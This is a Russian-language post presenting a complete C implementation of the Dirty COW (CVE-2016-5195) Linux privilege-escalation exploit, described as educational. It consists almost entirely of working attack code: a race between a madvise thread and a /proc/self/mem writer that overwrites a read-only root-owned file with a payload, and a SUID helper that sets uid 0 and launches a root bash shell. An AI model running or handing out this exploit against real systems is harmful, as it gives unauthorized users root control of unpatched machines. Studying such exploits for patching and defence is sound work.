
Учебная реализация эксплойта повышения привилегий Dirty COW (CVE-2016-5195), включающая payload с гонкой данных и повышение привилегий до root через SUID-оболочку для Linux-систем.
Запись предназначена только для учебных целей, запрещено использовать в незаконных целях
Принцип этой уязвимости основан на конкурентной записи грязных страниц, из-за чего содержимое файла, имеющего только права на чтение, изменяется
Если изменяемый файл принадлежит root и имеет права SUID, то его можно использовать для повышения привилегий
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <unistd.h>
#include <sys/stat.h>
#include <string.h>
#include <stdint.h>
void *map;
int f;
struct stat st;
char *name;
// Используется для хранения содержимого и размера Payload, считанного из файла
char *payload_buf;
size_t payload_size;
// Поток B: постоянно вызывает madvise, сообщая ядру, что эту страницу памяти нужно отбросить
void *madviseThread(void *arg) {
int i, c = 0;
for(i = 0; i < 10000000; i++) {
c += madvise(map, payload_size, MADV_DONTNEED);
}
printf("[-] Поток madvise завершён\n");
return NULL;
}
// Поток A: постоянно записывает данные в отображённую только для чтения область через /proc/self/mem
void *procselfmemThread(void *arg) {
int f = open("/proc/self/mem", O_RDWR);
int i, c = 0;
for(i = 0; i < 10000000; i++) {
lseek(f, (uintptr_t) map, SEEK_SET);
// Запись буфера Payload из памяти
c += write(f, payload_buf, payload_size);
}
printf("[-] Поток /proc/self/mem завершён\n");
return NULL;
}
int main(int argc, char *argv[]) {
if (argc < 3) {
printf("Использование: %s <целевой файл только для чтения> <входной файл Payload>\n", argv[0]);
return 1;
}
name = argv[1];
char *payload_file = argv[2];
// Открытие и чтение содержимого файла Payload в память
int pf = open(payload_file, O_RDONLY);
if (pf < 0) {
perror("Не удалось открыть файл Payload");
return 1;
}
struct stat pst;
fstat(pf, &pst);
payload_size = pst.st_size;
if (payload_size == 0) {
printf("[!] Файл Payload пуст\n");
return 1;
}
payload_buf = malloc(payload_size);
if (read(pf, payload_buf, payload_size) != payload_size) {
perror("Не удалось прочитать файл Payload");
return 1;
}
close(pf);
printf("[*] Файл Payload успешно загружен: %s (размер: %zu байт)\n", payload_file, payload_size);
// Отображение целевого файла
f = open(name, O_RDONLY);
if (f < 0) {
perror("Не удалось открыть целевой файл");
return 1;
}
fstat(f, &st);
// Предотвращение ситуации, когда длина Payload превышает длину целевого файла
if (payload_size > st.st_size) {
printf("[!] Предупреждение: размер Payload (%zu) больше размера целевого файла (%zu).\n", payload_size, st.st_size);
printf("[!] Из-за особенности перезаписи на месте в Dirty COW часть, превышающая размер целевого файла, будет отброшена файловой системой!\n");
}
map = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, f, 0);
printf("[*] Адрес отображения целевого файла: %p\n", map);
// Запуск гонки условий
pthread_t pth1, pth2;
printf("[*] Запуск гонки условий (Race Condition)...\n");
pthread_create(&pth1, NULL, madviseThread, NULL);
pthread_create(&pth2, NULL, procselfmemThread, NULL);
pthread_join(pth1, NULL);
pthread_join(pth2, NULL);
printf("[*] Гонка завершена, проверьте содержимое %s.\n", name);
free(payload_buf);
return 0;
}
#include <unistd.h>
int main() {
// Восстановление прав root
setuid(0);
setgid(0);
// Запуск root bash
execl("/bin/bash", "bash", NULL);
return 0;
}